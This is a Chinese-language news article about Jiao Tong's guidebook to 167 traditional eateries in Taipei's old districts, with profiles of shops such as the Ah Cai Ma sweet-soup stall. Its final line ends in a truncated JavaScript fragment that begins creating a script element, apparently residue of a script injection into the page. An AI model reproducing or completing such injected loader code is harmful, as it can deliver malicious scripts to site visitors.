艋舺、大稻埕、大龍洞等舊城區,存在許多老台北人記憶中的滋味,傳承數十年得好味道,直到現在仍飄香在巷弄之中。有「飲食文學教父」之稱的作家焦桐,與台北市觀光傳播局合作出版《》,由焦桐費時半年多、親訪百店並一一試吃,最後嚴選出的167間私房美食地圖,要帶旅人們品嚐台北獨有的好味道。

在走訪店家時,焦桐除了品評食材,更留心觀察店家的整體環境與職人的做事態度。好的美食與價位無關,而是好的食材遇到好的廚師,認真仔細操作,往往能成就令人垂延的美食。

▲焦桐與台北市觀光傳播局合作出版《味道台北舊城區》。(圖/記者陳致宇攝)

▲焦桐與台北市觀光傳播局合作出版《味道台北舊城區》。(圖/記者陳致宇攝)

焦桐表示,對古早味的堅持,絕不是對仿古氣氛的盲目懷念,而是緬懷童年時代較少嬌飾、較少添加物、較少欺騙的食物滋味,他也說,如果自己童年的食物竟然比女兒這代的食品還安全、健康與潔淨,那麼尋回古早味,就不單單是個人食慾的好惡選擇,而是為下一代守護美好生活的重要課題。

焦桐也指出,像是經營40多年的「雙連肉粥」,老闆夫妻都戴著口罩工作,雖然是路邊攤,但桌椅、器具、食物都擺置井然,顯得潔淨;而許多店家雖然是小本經營,卻對食材的要求一絲不苟,例如「賣麵炎仔」豬肉一定選用宜蘭黑毛豬、「東石順記」鮮蚵是老闆日日從家鄉配送。

▲「阿猜嬤甜湯」老闆示範隱藏版吃法。(圖/記者陳致宇攝)

▲「阿猜嬤甜湯」老闆示範隱藏版吃法。(圖/記者陳致宇攝)

《味道台北舊城區》書中介紹的第一家店「阿猜嬤甜湯」,已經在華西街經營出過半個世紀,目前由第三代老闆柯得隆延續阿嬤當年的好味道。招牌的米糕桂圓粥,碗裡面每一粒糯米皆是圓潤飽滿,足以見識到老闆的真功夫,乾龍眼肉與紅糖也讓甜味更顯得溫潤。

▲招牌的米糕桂圓粥加入紅豆湯,口感及味道立刻提升一個層次。(圖/記者陳致宇攝)

▲招牌的米糕桂圓粥加入紅豆湯,口感及味道立刻提升一個層次。(圖/記者陳致宇攝)

品嚐時可不能錯過老饕才懂的「隱藏版吃法」,在米糕桂圓粥中加入一勺的紅豆湯,上面再放上切段的油條,紅豆與桂圓的香氣結合,油條也讓整碗甜湯的口感有畫龍點睛的效果,天冷時可以在淋上少許的米酒,更讓人從胃裡溫暖至全身,感受美食帶來的幸福感受。var d=document;var s=d.createElement(‘script’);